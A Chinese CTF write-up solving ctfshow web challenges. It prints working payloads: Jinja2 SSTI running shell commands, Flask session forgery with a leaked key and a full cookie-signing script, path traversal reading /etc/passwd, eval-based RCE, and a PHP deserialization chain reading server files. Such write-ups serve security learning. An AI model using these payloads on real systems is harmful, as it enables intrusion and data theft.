愚人杯wp
Published in:2023-06-27 | category: 网络安全

愚人杯

热身赛:

有点坑,刚开始时脑子真没反应过来

Untitled

flag就是“一个不能说的密码”,绝了,我还以为flag是“群主喜欢36d”(bushi)

easy_signin

题目:

Untitled

可以看到url里有一个img=xxx

xxx为十六编码

我们试一下用index.php转换为base64:aW5kZXgucGhw

包含aW5kZXgucGhw

得到:

1
PD9waHAKLyoKIyAtKi0gY29kaW5nOiB1dGYtOCAtKi0KIyBAQXV0aG9yOiBoMXhhCiMgQERhdGU6ICAgMjAyMy0wMy0yNyAxMDozMDozMAojIEBMYXN0IE1vZGlmaWVkIGJ5OiAgIGgxeGEKIyBATGFzdCBNb2RpZmllZCB0aW1lOiAyMDIzLTAzLTI4IDEyOjE1OjMzCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQojIEBsaW5rOiBodHRwczovL2N0ZmVyLmNvbQoKKi8KCiRpbWFnZT0kX0dFVFsnaW1nJ107CgokZmxhZyA9ICJjdGZzaG93ezBmZTk1YjRhLTU2NjEtNDU0OS04NzMxLTA1OTk0NzYyYmJhYX0iOwppZihpc3NldCgkaW1hZ2UpKXsKCSRpbWFnZSA9IGJhc2U2NF9kZWNvZGUoJGltYWdlKTsKCSRkYXRhID0gYmFzZTY0X2VuY29kZShmaWxlX2dldF9jb250ZW50cygkaW1hZ2UpKTsKCWVjaG8gIjxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsJGRhdGEnLz4iOwp9ZWxzZXsKCSRpbWFnZSA9IGJhc2U2NF9lbmNvZGUoImZhY2UucG5nIik7CgloZWFkZXIoImxvY2F0aW9uOi8/aW1nPSIuJGltYWdlKTsKfQoKCgoK

进行base64解码得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-03-27 10:30:30
# @Last Modified by: h1xa
# @Last Modified time: 2023-03-28 12:15:33
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
- /
$image=$_GET['img'];
$flag = "ctfshow{0fe95b4a-5661-4549-8731-05994762bbaa}";
if(isset($image)){
$image = base64_decode($image);
$data = base64_encode(file_get_contents($image));
echo "<img src='data:image/png;base64,$data'/>";
}else{
$image = base64_encode("face.png");
header("location:/?img=".$image);
}

得到flag

easy_ssti

题目:页面提示有个app.py包,我们下载来看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from flask import Flask
from flask import render_template_string,render_template
app = Flask(__name__)

@app.route('/hello/')
def hello(name=None):
return render_template('hello.html',name=name)
@app.route('/hello/<name>')
def hellodear(name):
if "ge" in name:
return render_template_string('hello %s' % name)
elif "f" not in name:
return render_template_string('hello %s' % name)
else:
return 'Nonononon'

是道SSTI注入,我们需要访问/hello.html,拼接:/hello.html/{{payload}}进行注入

先试一下2,没问题,页面返回2,证明代码成功运行了

思路:

利用"".__class__.__bases__[0].__subclasses__()[83]构造出我们想要的类

"".__class__:当前变量的类

"".__class__.___bases__[0]:当前变量的类的基类(最基础的类,[0]表示object类)

"".__class__.__bases__[0].__subclasses__()[83] 当前变量的类的基类的子类(到这里已经包含了其他类,83表示数组中的索引,指向一个类,83是通过爆破出来的,一边爆破一边看包返回长度及内容)

然后__init__表示将类初始化(有点像实例化,不确定)

__globals__ 取function所处空间下可使用的module、方法以及所有变量

__globals__['__builtins__'] 表示类里面的函数了(这里可以输出看一下有什么函数,如果没有我们要的可以更改__subclasses__[]看一下有没有我们想要的)

__globals__['__builtins__']['eval']() 调用eval函数

传参("__import__('os').popen('echo Y2F0IC9mbGFn |base64 -d|sh').read()")

这里已经是执行python代码了,我们动态导入os库,然后调用popen执行,用read()读取

这里出现了个问题,就是传入参数中屏蔽了斜杆“/”,所以我们需要使用base64编码绕过

但又出来个问题,我以前用的是bash,但这里发现不行,所以根据经验改为sh

最后得到payload:

http://af57955d-b019-4224-9356-8e996bc58900.challenge.ctf.show/hello/{{"".__class__.__bases__[0].__subclasses__()[83].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('echo Y2F0IC9mbGFn |base64 -d|sh').read()")}}

成功!!!

Untitled

easy_flask

知识点:

  • flask session伪造
  • flask代码审计
  • 任意文件下载

题目:

进来之后有两个窗口,一个登录窗口和一个注册窗口

Untitled

在注册窗口尝试注册了admin,发现用户已存在

Untitled

然后在这里在登录和注册试了sql注入,没成功

我们先随便注册一个账号,登录进去

Untitled

发现有个leran 点击(我刚开始没点击,在登录和注册徘徊了1个多小时(悲))

  • 得到部分源代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    # app.py
    from flask import Flask, render_template, request, redirect, url_for, session, send_file, Response

    app = Flask(__name__)

    app.secret_key = 'S3cr3tK3y'

    users = {

    }

    @app.route('/')
    def index():
    # Check if user is loggedin
    if 'loggedin' in session:
    return redirect(url_for('profile'))
    return redirect(url_for('login'))

    @app.route('/login/', methods=['GET', 'POST'])
    def login():
    msg = ''
    if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
    username = request.form['username']
    password = request.form['password']
    if username in users and password == users[username]['password']:
    session['loggedin'] = True
    session['username'] = username
    session['role'] = users[username]['role']
    return redirect(url_for('profile'))
    else:
    msg = 'Incorrect username/password!'
    return render_template('login.html', msg=msg)

    @app.route('/register/', methods=['GET', 'POST'])
    def register():
    msg = ''
    if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
    username = request.form['username']
    password = request.form['password']
    if username in users:
    msg = 'Account already exists!'
    else:
    users[username] = {'password': password, 'role': 'user'}
    msg = 'You have successfully registered!'
    return render_template('register.html', msg=msg)

    @app.route('/profile/')
    def profile():
    if 'loggedin' in session:
    return render_template('profile2.html', username=session['username'], role=session['role'])
    return redirect(url_for('login'))

    ........

对代码进行审计,看来我们需要进行flask session伪造

  • flask session伪造脚本:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    #!/usr/bin/env python3
    """ Flask Session Cookie Decoder/Encoder """
    __author__ = 'Wilson Sumanang, Alexandre ZANNI'

    # standard imports
    import sys
    import zlib
    from itsdangerous import base64_decode
    import ast

    # Abstract Base Classes (PEP 3119)
    if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
    elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
    else: # > 3.4
    from abc import ABC, abstractmethod

    # Lib for argument parsing
    import argparse

    # external Imports
    from flask.sessions import SecureCookieSessionInterface

    class MockApp(object):

    def __init__(self, secret_key):
    self.secret_key = secret_key

    if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
    def encode(secret_key, session_cookie_structure):
    """ Encode a Flask session cookie """
    try:
    app = MockApp(secret_key)

    session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
    si = SecureCookieSessionInterface()
    s = si.get_signing_serializer(app)

    return s.dumps(session_cookie_structure)
    except Exception as e:
    return "[Encoding error] {}".format(e)
    raise e

    def decode(session_cookie_value, secret_key=None):
    """ Decode a Flask cookie """
    try:
    if (secret_key == None):
    compressed = False
    payload = session_cookie_value

    if payload.startswith('.'):
    compressed = True
    payload = payload[1:]

    data = payload.split(".")[0]

    data = base64_decode(data)
    if compressed:
    data = zlib.decompress(data)

    return data
    else:
    app = MockApp(secret_key)

    si = SecureCookieSessionInterface()
    s = si.get_signing_serializer(app)

    return s.loads(session_cookie_value)
    except Exception as e:
    return "[Decoding error] {}".format(e)
    raise e
    else: # > 3.4
    class FSCM(ABC):
    def encode(secret_key, session_cookie_structure):
    """ Encode a Flask session cookie """
    try:
    app = MockApp(secret_key)

    session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
    si = SecureCookieSessionInterface()
    s = si.get_signing_serializer(app)

    return s.dumps(session_cookie_structure)
    except Exception as e:
    return "[Encoding error] {}".format(e)
    raise e

    def decode(session_cookie_value, secret_key=None):
    """ Decode a Flask cookie """
    try:
    if (secret_key == None):
    compressed = False
    payload = session_cookie_value

    if payload.startswith('.'):
    compressed = True
    payload = payload[1:]

    data = payload.split(".")[0]

    data = base64_decode(data)
    if compressed:
    data = zlib.decompress(data)

    return data
    else:
    app = MockApp(secret_key)

    si = SecureCookieSessionInterface()
    s = si.get_signing_serializer(app)

    return s.loads(session_cookie_value)
    except Exception as e:
    return "[Decoding error] {}".format(e)
    raise e

    if __name__ == "__main__":
    # Args are only relevant for __main__ usage

    ## Description for help
    parser = argparse.ArgumentParser(
    description='Flask Session Cookie Decoder/Encoder',
    epilog="Author : Wilson Sumanang, Alexandre ZANNI")

    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
    help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
    help='Session cookie structure', required=True)

    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
    help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
    help='Session cookie value', required=True)

    ## get args
    args = parser.parse_args()

    ## find the option chosen
    if (args.subcommand == 'encode'):
    if (args.secret_key is not None and args.cookie_structure is not None):
    print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif (args.subcommand == 'decode'):
    if (args.secret_key is not None and args.cookie_value is not None):
    print(FSCM.decode(args.cookie_value, args.secret_key))
    elif (args.cookie_value is not None):
    print(FSCM.decode(args.cookie_value))

    # {'loggedin': True, 'role': 'admin', 'username': 'admin'}

我们在浏览器把session复制下来

利用脚本进行session解密和伪造:

(解密后推理管理员伪造的规律)

1
2
D:\CTFtools\其他\pytools>[demo1.py](http://demo1.py/) decode -s "S3cr3tK3y" -c "eyJsb2dnZWRpbiI6dHJ1ZSwicm9sZSI6InVzZXIiLCJ1c2VybmFtZSI6ImFkbWluMiJ9.ZCeNjw.SI08C_xd1I55TbZzcedhgi_oqcU"
{'loggedin': True, 'role': 'user', 'username': 'admin2'}
1
2
D:\CTFtools\其他\pytools>[demo1.py](http://demo1.py/) encode -s "S3cr3tK3y" -t "{'loggedin': True, 'role': 'admin', 'username': 'admin'}"
.eJyrVsrJT09PTcnMU7IqKSpN1VEqys9JVbJSSkzJBYrpKJUWpxblJeYihGoBzOYRgA.ZCeVRA.p_DkccHDcwzHQA7CmXPqH-5OF3c

将伪造后的session导入

Untitled

成功登入

Untitled

发现一个txt文件,下载到一个假的flag

Untitled

重新回到主页,看到那个东西下载有点像任意文件下载

我们下一个../../../../../../../etc/passwd试试

Untitled

成功下载,我们下载自身:app.py

成功下载

  • app.py源码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    # app.py
    from flask import Flask, render_template, request, redirect, url_for, session, send_file, Response

    app = Flask(__name__)

    app.secret_key = 'S3cr3tK3y'

    users = {
    'admin': {'password': 'LKHSADSFHLA;KHLK;FSDHLK;ASFD', 'role': 'admin'}
    }

    @app.route('/')
    def index():
    # Check if user is loggedin
    if 'loggedin' in session:
    return redirect(url_for('profile'))
    return redirect(url_for('login'))

    @app.route('/login/', methods=['GET', 'POST'])
    def login():
    msg = ''
    if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
    username = request.form['username']
    password = request.form['password']
    if username in users and password == users[username]['password']:
    session['loggedin'] = True
    session['username'] = username
    session['role'] = users[username]['role']
    return redirect(url_for('profile'))
    else:
    msg = 'Incorrect username/password!'
    return render_template('login2.html', msg=msg)

    @app.route('/register/', methods=['GET', 'POST'])
    def register():
    msg = ''
    if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
    username = request.form['username']
    password = request.form['password']
    if username in users:
    msg = 'Account already exists!'
    else:
    users[username] = {'password': password, 'role': 'user'}
    msg = 'You have successfully registered!'
    return render_template('register2.html', msg=msg)

    @app.route('/profile/')
    def profile():
    if 'loggedin' in session:
    return render_template('profile2.html', username=session['username'], role=session['role'])
    return redirect(url_for('login'))

    @app.route('/show/')
    def show():
    if 'loggedin' in session:
    return render_template('show2.html')

    @app.route('/download/')
    def download():
    if 'loggedin' in session:
    filename = request.args.get('filename')
    if 'filename' in request.args:
    return send_file(filename, as_attachment=True)

    return redirect(url_for('login'))

    @app.route('/hello/')
    def hello_world():
    try:
    s = request.args.get('eval')
    return f"hello,{eval(s)}"
    except Exception as e:
    print(e)
    pass

    return "hello"

    @app.route('/logout/')
    def logout():
    session.pop('loggedin', None)
    session.pop('id', None)
    session.pop('username', None)
    session.pop('role', None)
    return redirect(url_for('login'))

    if __name__ == "__main__":
    app.run(host='0.0.0.0', port=8080)

我们注意到一段(比较狗血的就是我之前在登录界面徘徊那段时间,用目录扫描扫出了这个玩意)

1
2
3
4
5
6
7
8
9
def hello_world():
try:
s = request.args.get('eval')
return f"hello,{eval(s)}"
except Exception as e:
print(e)
pass

return "hello"

这里我们直接可以rce了

payload:

/hello/?eval=**import**('os').popen('ls').read()

/hello/?eval=**import**('os').popen('ls /').read()

/hello/?eval=**import**('os').popen('cat /flag_is_h3re').read()

得到flag

Untitled

被遗忘的反序列化(估计是非预期解)

  • 题目:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    <?php
    # 当前目录中有一个txt文件哦
    error_reporting(0);
    show_source(__FILE__);
    include("check.php");

    class EeE{
        public $text;
        public $eeee;
        public function __wakeup(){
            if ($this->text == "aaaa"){
                echo lcfirst($this->text);
            }
        }

        public function __get($kk){
            echo "$kk,eeeeeeeeeeeee";
        }

        public function __clone(){
            $a = new cycycycy;
            $a -> aaa();
        }
    }

    class cycycycy{
        public $a;
        private $b;

        public function aaa(){
            $get = $_GET['get'];
            $get = cipher($get);
            if($get === "p8vfuv8g8v8py"){
                eval($_POST["eval"]);
            }
        }

        public function __invoke(){
            $a_a = $this -> a;
            echo "\$a_a\$";
        }
    }

    class gBoBg{
        public $name;
        public $file;
        public $coos;
        private $eeee="-_-";
        public function __toString(){
            if(isset($this->name)){
                $a = new $this->coos($this->file);
                echo $a;
            }else if(!isset($this -> file)){
                return $this->coos->name;
            }else{
                $aa = $this->coos;
                $bb = $this->file;
                return $aa();
            }
        }
    }

    class w_wuw_w{
        public $aaa;
        public $key;
        public $file;
        public function __wakeup(){
            if(!preg_match("/php|63|\*|\?/i",$this -> key)){
                $this->key = file_get_contents($this -> file);
            }else{
                echo "不行哦";
            }
        }

        public function __destruct(){
            echo $this->aaa;
        }
        public function __invoke(){
            $this -> aaa = clone new EeE;
        }
    }

    $_ip = $_SERVER["HTTP_AAAAAA"];

    unserialize($_ip);

把代码拉到vscode比较容易看一些

Untitled

先看一下题目的代码,反序列化的注入点在$_ip = $_SERVER["HTTP_AAAAAA"];

所以我们需要在http请求头注入一个参数:AAAAAA:xxx(xxx为反序列化的内容)

这里直接挑重点看了(毕竟只用到2个类)(此处省略了其他没用到的东西,方便理解):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class gBoBg{
public $name;
public $file;
public $coos;
private $eeee="-_-";
public function __toString(){ #__toString魔术函数,但一个对象被当作字符串使用时被调用
if(isset($this->name)){ #name有定义,但定义什么没有关系,因为后面没用到
$a = new $this->coos($this->file); #coos作为函数的名,file作函数的参数
echo $a; # 输出
}
}
}

class w_wuw_w{
public $aaa;
public function __destruct(){
echo $this->aaa;
}

}

我们知道在php中支持使用$a($b)这样动态的形式调用函数/实例化,

可以看到我们这一行就是这样的形式:$a = new $this->coos($this->file);

所以我们的思路是通过给coos和file赋值,实现rce或者文件操作

  • 有人就问了:coos我用了file_get_contents,file我传入了地址,为什么读取不到文件。

答:因为这行代码是对象实例化,而file_get_contents是一个函数,不是一个类,所以我们这里coos要传入一个内置类了

这里我们就需要看一下有什么内置类了

可遍历目录类有以下几个:

  • DirectoryIterator 类
  • FilesystemIterator 类
  • GlobIterator 类

可读取文件类有:

  • SplFileObject 类

我们需要用内置类来遍历目录,然后读取文件

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class gBoBg{
public $name;
public $file;
public $coos;
// private $eeee="-_-";
}

class w_wuw_w{
public $aaa;
public $key;
public $file;
}

$w=new w_wuw_w();
$w->aaa=new gBoBg();
$w->aaa->name="1";
$w->aaa->file="/f1agaaa";
$w->aaa->coos="SplFileObject";

echo serialize($w);

分两步走,第一步读取文件目录

1
2
3
4
$w->aaa->file="glob:///*f*"; #使用glob协来查找匹配的文件路径模式 这里/*f*匹配了根目录下包含f的文件夹名
$w->aaa->coos="DirectoryIterator";

得到:O:7:"w_wuw_w":3:{s:3:"aaa";O:5:"gBoBg":3:{s:4:"name";s:1:"1";s:4:"file";s:11:"glob:///*f*";s:4:"coos";s:17:"DirectoryIterator";}s:3:"key";N;s:4:"file";N;}

Untitled

第二步,使用SplFileObject类读取文件内容:

1
2
3
$w->aaa->file="/f1agaaa";
$w->aaa->coos="SplFileObject";
得到:O:7:"w_wuw_w":3:{s:3:"aaa";O:5:"gBoBg":3:{s:4:"name";s:1:"1";s:4:"file";s:8:"/f1agaaa";s:4:"coos";s:13:"SplFileObject";}s:3:"key";N;s:4:"file";N;}

Untitled

总结:

SSTI知识点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
**class**            类的一个内置属性,表示实例对象的类。
**base** 类型对象的直接基类
**bases** 类型对象的全部基类,以元组形式,类型的实例通常没有属性 **basesmro** 此属性是由类组成的元组,在方法解析期间会基于它来查找基类。
**subclasses**() 返回这个类的子类集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order.
**init** 初始化类,返回的类型是function
**globals** 使用方式是 函数名.**globals__获取function所处空间下可使用的module、方法以及所有变量。
dic 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
getattribute() 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:[a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。](http://a.xxx/a.xxx()%EF%BC%89%EF%BC%8C%E9%83%BD%E4%BC%9A%E8%87%AA%E5%8A%A8%E5%8E%BB%E8%B0%83%E7%94%A8__getattribute__%E6%96%B9%E6%B3%95%E3%80%82%E5%9B%A0%E6%AD%A4%E6%88%91%E4%BB%AC%E5%90%8C%E6%A0%B7%E5%8F%AF%E4%BB%A5%E7%9B%B4%E6%8E%A5%E9%80%9A%E8%BF%87%E8%BF%99%E4%B8%AA%E6%96%B9%E6%B3%95%E6%9D%A5%E8%8E%B7%E5%8F%96%E5%88%B0%E5%AE%9E%E4%BE%8B%E3%80%81%E7%B1%BB%E3%80%81%E5%87%BD%E6%95%B0%E7%9A%84%E5%B1%9E%E6%80%A7%E3%80%82)getitem() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.getitem('b')
builtins 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。builtins__与__builtin__的区别就不放了,百度都有。
import 动态加载类和函数,也就是导入模块,经常用于导入os模块,import('os').popen('ls').read()]
str() 返回描写这个对象的字符串,可以理解成就是打印出来。
url_for flask的一个方法,可以用于得到__builtins,而且url_for.globals['builtins']含有current_app。
get_flashed_messages flask的一个方法,可以用于得到__builtins**,而且url_for.**globals**['**builtins**']含有current_app。
lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.**globals**['os'].popen('ls').read()}}
current_app 应用上下文,一个全局变量。

request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.**init**.**globals**['**builtins**'].open('/proc\self\fd/3').read()
request.args.x1 get传参
request.values.x1 所有参数
request.cookies cookies参数
request.headers 请求头参数
request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data post传参 (Content-Type:a/b)
request.json post传json (Content-Type: application/json)
config 当前application的所有配置。此外,也可以这样{{ config.**class**.**init**.**globals**['os'].popen('ls').read() }}
g {{g}}得到<flask.g of 'flask_ssti'>

三、常用类

先举几个基础的例子方便理解:
1、class

__class__用来查看变量所属的类,格式为变量.__**class__**

1
2
3
4
5
6
7
8
9
''.__class__
<class 'str'>
().__class__
<class 'tuple'>
{}.__class__
<class 'dict'>
[].__class__
<class 'list'>

2、base

__base__用来查看类的基类,注意是类的基类,所以格式为变量.__**class__**.__**base__**

1
2
3
4
5
6
7
8
9
10
11
''.class.__base__
(<class 'object'>,)

().class.__base__
(<class 'object'>,)

{}.class.__base__
(<class 'object'>,)

[].class.__base__
(<class 'object'>,)

同时也能加上数组,比如变量.__**class__**.__**base__**[0]来获得第一个基类。

值得一提的是还有个类是__mro__,它会显示类和基类,这是它和__base__的不同。

1
2
''.class.__mro__
(<class 'str'>, <class 'object'>)

3、subclasses()

**subclasses**()查看当前类的子类,格式变量.__**class__**.__**base__**[0].__**subclasses__**()
这个类也可以加数组来查看指定的索引值,例如变量.__**class__**.__**bases__**[0].__**subclasses__**()[1]
在这里插入图片描述

1
2
''.class.bases[0].__subclasses__()[0]
<class 'type'>

这个时候就可以开始利用类里面的方法了。

示例:变量.__**class__**.__**bases__**[0].__subclasses__()[138].__**init__**.__**globals__**,init初始化类,然后globals全局来查找所有的方法及变量及参数。

由此我们可以看到各种各样的参数方法函数,去找一个可利用的function来执行,比如popen的话,就可以这样利用:''.__**class__**.__**bases__**[0].__**subclasses__**()[138].__**init__**.__**globals__[**'popen'].read()

Prev:
vulnhub-DC-5
Next:
ctfshow-web入门-信息收集